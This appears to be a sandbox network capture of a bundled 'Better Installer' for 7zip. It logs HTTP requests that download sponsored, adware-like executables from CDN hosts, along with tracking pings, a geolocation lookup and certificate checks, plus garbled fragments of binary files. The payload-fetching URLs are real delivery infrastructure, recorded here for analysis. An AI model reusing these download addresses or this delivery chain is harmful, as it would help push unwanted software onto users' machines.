s of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign C
lass 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0....
.........m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d.
..nz(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F
*]...*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."
...:.C.Q.i~rl..<..krS..8.B..o][email protected]
...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.v
erisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS i
ncorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...
U........0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...
<<< skipped >>>


GET /pin.gif?e=download&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:43 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:24:43 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=downloadsuc&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:44 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:24:44 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=downloadend&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13&ec=0 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:51 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;..



GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:25 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Thu, 30
 Apr 2015 09:25:25 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /sd?is=sm HTTP/1.1
Range: bytes=65407-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 65407-523255/523256
Content-Length: 457849
Connection: keep-alive
.a.:K...0..y2.`.!.T......Y........]X.:.34.y.......y.0..."]..>y..._.
2. D..=X.i........0...`....O.~.J.|.#.:.R.D.?..~...Z.).U%.W..&...D....b
.\..H?f.....]..........l.F&..^.o..[.3...V.......'_.X%..L..x...........
....V...4W=X..C..;....q.0...............R..x.y1.!....ZC.......Z:.7....
..R..m...#[email protected]:...
.....:...D..o..>...H-...A ..D#.....S.D.C.....~.....T.....#.... 3...
......~...... .mP.U.=.E.,.#p.. .q.......b...j.w=.&.:s.%.q.F.."0.r.l.".
8......../...I..4.7..5..t.,....t...8D..RQm......o.](../.hv..T.Z.~2.K..
........q_DMF..X.#..\.....>'..(. 1..lD..3..v..'\U...n_7..iH;.i.RV~3
!....oS.....]l..5o.e...;....F*....!.D .*..h..!x..`.h.....I.]'gB.....e.
..?lO.*|.......q.u..x...3....8......@.@R.....%@"...n.....dDk).h.Z..lG.
...4..,Y....9"N2q.D..c...ig!....W..fzT.iL.4...5I(..Q!2l.=m.T...F.o..DI
.. .....<.....eV.>|K$)L..x....I._.....yC.MK..Ps.)..'.F.Ia..3....
\...W...@.*I6L6.l_A7..0.i...,Z.......z.Wg6w..Z.6.Te5JM..U.H}3.....l...
0.f..g...O2.4l..m[hW..|(l}U.....m.T.`..s.s.kp....).:M.....i.E.........
[email protected]/..x...q..s..&5..m@'.4`....&c....9...a..g..........
.'[email protected].....>...h.....^CW.......'t.vO..E..I.*........g!.
q.W.1k@G=F..M.:[email protected]..=p.Q-rCP.
J..i...[....i.*?.w..%..p.HkKEa.7........FY.M.]...K.%......3.A..~X.o.U.
.3.P..=.3..x.h [email protected].."_..B.J.kF...J...U..kB...W.e
>D...]\e.m....<.B.......BZ...#.w.!P..`7g.p<Z7......{.$.x..o..
.f~..Fd.p.!....]e^I.........1.N.]n...%*.I.r`.................k:...
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?3edf2f97043fdfac HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Mar 2015 16:17:41 GMT
If-None-Match: "804047d4e66d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Tue, 24 Mar 2015 16:17:41 GMT
ETag: "804047d4e66d01:0"
Cache-Control: max-age=86400
Date: Thu, 30 Apr 2015 09:24:18 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Mar 2015 16:17:41 GMT..ETag: "804047d4e66d01:0"..C
ache-Control: max-age=86400..Date: Thu, 30 Apr 2015 09:24:18 GMT..Conn
ection: keep-alive......


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?6a9849fe3111a2a3 HTTP/1.1


Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Feb 2015 00:37:01 GMT
If-None-Match: "80b4d90ca4fd01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Tue, 24 Feb 2015 00:37:01 GMT
ETag: "80b4d90ca4fd01:0"
Cache-Control: max-age=604800
Date: Thu, 30 Apr 2015 09:24:21 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Feb 2015 00:37:01 GMT..ETag: "80b4d90ca4fd01:0"..C
ache-Control: max-age=604800..Date: Thu, 30 Apr 2015 09:24:21 GMT..Con
nection: keep-alive..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: E3Nn-5YvCHrLov5zVkwYOpOApGGbL2cLcB-9MIGlSWIJ4iNBFrqmqg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.godaddy.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:27:02 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=115782, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 07:18:18 GMT
Expires: Fri, 01 May 2015 19:18:18 GMT
ETag: "2ab0d7aa73b2e6285189c7938f3b0e8e9cbbbde6"
Content-Length: 1708
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0......0..1.0...U....US1.0...U....Ar
izona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Da
ddy Root Validation Authority - G1..20150430071818Z0f0d0<0... .....
.... ......]..J^.y_..F<........L.q.a.=....j...........2015043007181
8Z....20150501191818Z0...*.H...............z...x.......B..g..4..u..B..
/,...Q3"..N.xe.Oe.....o.....C..Rc/.Z...u<...9.=.N.s.w..r=.j..]N.D.s
j.. ...4e...}..?^.."N|.\J....)I).`e..%.':..J......$..I.3.?..z.....e...
.<.....u...T.L...C........w.{......_..C.I..X..5.....)y ......GxWpz.
'.cR..u0..l.W...L..R.B....m0..i0..e0..M...........T.m^'0...*.H........
0c1.0...U....US1!0...U....The Go Daddy Group, Inc.110/..U...(Go Daddy 
Class 2 Certification Authority0...150316070000Z..160316070000Z0..1.0.
..U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com
, Inc.100...U...'Go Daddy Root Validation Authority - G10.."0...*.H...
..........0.........xo(....QQ.`L.~...&...a.F.=.....d=....."......?...\
..........b.D....l=.HS.N......A..;....C)...(..T........XA-N....k1 ....
.ag...,4.L{.I..hEKb..K......!.(...7....p.O...X.._........8.B..k[4.....
......e.../....^.S..7A.b.oB..\......2%.|c...A....Fk.T..24.0B...p......
...0..0...U.......0.0...U...........0...U.%..0... ......... .......0..
.U.......O........f...e..r..0... .....0......0=..U...60402.0...,http:/
/crl.godaddy.com/repository/gdroot.crl0J..U. .C0A0?..`.H...m....000...
 ........"hXXp://crl.godaddy.com/repository/0...*.H.............G.1..V
e.........'\.... ..[2).l.J.:\.{.,cq...!.h.~...n....m3..o..\wZ,hqF.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=27347-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 45575
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 27347-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: EpbecV9ZNLzZ-kdxu692bDxGlv7QFQ8isCYJQYi7wTm90CEitZx2Tg==
etSystemDirectoryA...GetVersion....GetProcAddress..KERNEL32.dll....End
Paint....DrawTextA...FillRect....GetClientRect...BeginPaint....DefWind
owProcA..;.SendMessageA....InvalidateRect....EnableWindow..*.ReleaseDC
...GetDC...LoadImageA....SetWindowLongA....GetDlgItem....IsWindow....F
indWindowExA.>.SendMessageTimeoutA...wsprintfA...ShowWindow..W.SetF
oregroundWindow...PostQuitMessage...SetWindowTextA..z.SetTimer..U.Crea
teDialogParamA....DestroyWindow...ExitWindowsEx.*.CharNextA...DialogBo
xParamA...GetClassInfoA.`.CreateWindowExA...SystemParametersInfoA...Re
gisterClassA....EndDialog.1.ScreenToClient..t.GetWindowRect...EnableMe
nuItem..\.GetSystemMenu.G.SetClassLongA...IsWindowEnabled...SetWindowP
os..Z.GetSysColor.n.GetWindowLongA..M.SetCursor...LoadCursorA.8.CheckD
lgButton..<.GetMessagePos...LoadBitmapA...CallWindowProcA...IsWindo
wVisible.B.CloseClipboard..J.SetClipboardData....EmptyClipboard....Ope
nClipboard...TrackPopupMenu....AppendMenuA.^.CreatePopupMenu.].GetSyst
emMetrics..S.SetDlgItemTextA...GetDlgItemTextA...MessageBoxIndirectA.-
.CharPrevA...DispatchMessageA....PeekMessageA..USER32.dll....SelectObj
ect..<.SetTextColor....SetBkMode.:.CreateFontIndirectA.).CreateBrus
hIndirect...DeleteObject..k.GetDeviceCaps...SetBkColor..GDI32.dll...SH
FileOperationA....ShellExecuteA...SHGetFileInfoA..y.SHBrowseForFolderA
....SHGetPathFromIDListA....SHGetSpecialFolderLocation..SHELL32.dll...
RegEnumValueA...RegEnumKeyA...RegQueryValueExA....RegSetValueExA....Re
gCreateKeyExA...RegCloseKey...RegDeleteValueA...RegDeleteKeyA...Re
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.8645311506713083 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:07 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7zAfEo6B3N0VMZErzmeOBfVrAh0IH4Z_wk6iMvYkAgOy1Gy_rAMxZw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 25 Mar 2015 11:12:47 GMT
X-Cache: RefreshHit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Dd1yKur9VEZwZxrpfb_1A8yN_qW5w23OUbjRehWkPqLJEoMkN76kEg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=27347-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 45575
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 27347-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TtAL5vSmPC050QBUJbXIILPKQ0yLOfqBmjAQs28_IyNPU3-mOXJTDg==
etSystemDirectoryA...GetVersion....GetProcAddress..KERNEL32.dll....End
Paint....DrawTextA...FillRect....GetClientRect...BeginPaint....DefWind
owProcA..;.SendMessageA....InvalidateRect....EnableWindow..*.ReleaseDC
...GetDC...LoadImageA....SetWindowLongA....GetDlgItem....IsWindow....F
indWindowExA.>.SendMessageTimeoutA...wsprintfA...ShowWindow..W.SetF
oregroundWindow...PostQuitMessage...SetWindowTextA..z.SetTimer..U.Crea
teDialogParamA....DestroyWindow...ExitWindowsEx.*.CharNextA...DialogBo
xParamA...GetClassInfoA.`.CreateWindowExA...SystemParametersInfoA...Re
gisterClassA....EndDialog.1.ScreenToClient..t.GetWindowRect...EnableMe
nuItem..\.GetSystemMenu.G.SetClassLongA...IsWindowEnabled...SetWindowP
os..Z.GetSysColor.n.GetWindowLongA..M.SetCursor...LoadCursorA.8.CheckD
lgButton..<.GetMessagePos...LoadBitmapA...CallWindowProcA...IsWindo
wVisible.B.CloseClipboard..J.SetClipboardData....EmptyClipboard....Ope
nClipboard...TrackPopupMenu....AppendMenuA.^.CreatePopupMenu.].GetSyst
emMetrics..S.SetDlgItemTextA...GetDlgItemTextA...MessageBoxIndirectA.-
.CharPrevA...DispatchMessageA....PeekMessageA..USER32.dll....SelectObj
ect..<.SetTextColor....SetBkMode.:.CreateFontIndirectA.).CreateBrus
hIndirect...DeleteObject..k.GetDeviceCaps...SetBkColor..GDI32.dll...SH
FileOperationA....ShellExecuteA...SHGetFileInfoA..y.SHBrowseForFolderA
....SHGetPathFromIDListA....SHGetSpecialFolderLocation..SHELL32.dll...
RegEnumValueA...RegEnumKeyA...RegQueryValueExA....RegSetValueExA....Re
gCreateKeyExA...RegCloseKey...RegDeleteValueA...RegDeleteKeyA...Re
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.usertrust.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:39 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Thu, 30 Apr 2015 09:13:13 GMT
Expires: Mon, 04 May 2015 09:13:13 GMT
ETag: 1004B5E797D0AD3FAF7479B2A01B29016D66F2DD
Cache-Control: max-age=344193,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp9
Content-Length: 471
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........z4.&...&T....$.T...2015043
0091313Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.B.......R.K.$&.K....20150430091313Z....20150504091313Z0...*.H........
......%..........P...e..l..p2.0.=....>K.K.$.....w.............K...p
....#..3%9X.........w;....M8....>.....Q..#).....a.%....qn.A..L?..X#
pm.u...................=..2?..E.q8...-..)....7...<....<2........
2u_..QK(.I..."...xJd...:..\......J.....r....6....5..Qj..7.[......



GET /yta33_full.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/7590800
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..s......st..............................!..5...D ..<....@..,.s....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/7590800
....a....(S...q........a...!.O..7\[email protected]....'.t.i.C..1%.... ..U$f.:n
.Z..a.kw4w`..0...&.F..^..$.FN..0..R.l....gY,4Q..=...&............k.i\.
}Q/..v.~..$W...../....JZ.)..#&....F.....D.. d..^D..QA.*.!&...1.jW..]#3
..A...#A.x.v....#8.....R..x c".A..vr..r....[.....>..^...Y..........
......mx....d ..o....k.d....x..w.....O.6...Q.......Od...6..a.o...<.
A....b....ds!..y=....Na..L..ZR.@[email protected]"..
..........K0.....T....1.3.....J/l....'[email protected]...?...Z...c..OJ...)R.
?S...u..s_Y.[..r.....3.#.....O...'[email protected]../vE.c... .......D..
.6G5..7H..........&.g.f ...n. ..3....L...V.~1..g.).(.......BA.}..s....
wL.Vr..x7..8.....H...o..%...(.........-C.....z.P.."........2.I.(...t..
n..V.2Q..M...Yf!u..=].7....][email protected]..* 
.....b7..... ......8bD....uA..-lN.BHu0`!q_B*.{.$.eq<.V.w...]...V_x.
[email protected]..]..s..%.[....r.....Ge,F.....U=|.]...k....I.....DU...fZ}.nMp.r..
.5.s!..8......s?..:..K.{........,.h.0....,....q8...9.=.......w$U.qe...
...$..G*.j.....'".....9.;;..h.#Rt]#*(...8/DV.pvP...;..,....W..e.....pD
K.....wp...O.^...(4....sk.Q..:..|....Jv.......(..&._.U.l#[email protected]\.P
}U.5c.L.........h.o5pt...,...p........-}...<.B-$....}..H..8d....G..
.L.4.d.Y.3.wrD..$L.....{qQ.....<..."._...O-zV .U.E:N1h.^>.U..0.B
!.}.e~.b............Z./b.~9...w.....dI....6d.\m.....2^.G...t.Ci...~..v
.....1......`...|....!.....S"gR.Z.jhp.q...5....&.n....^f..<xg......
..s.&.....-#....3F.q#.*..Eo. .2......R......,......."...2.mE...A].....
....x..VU...%.QY8Z.2.....O..5`..'..MnA..B.>v...F......dP....\?r
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
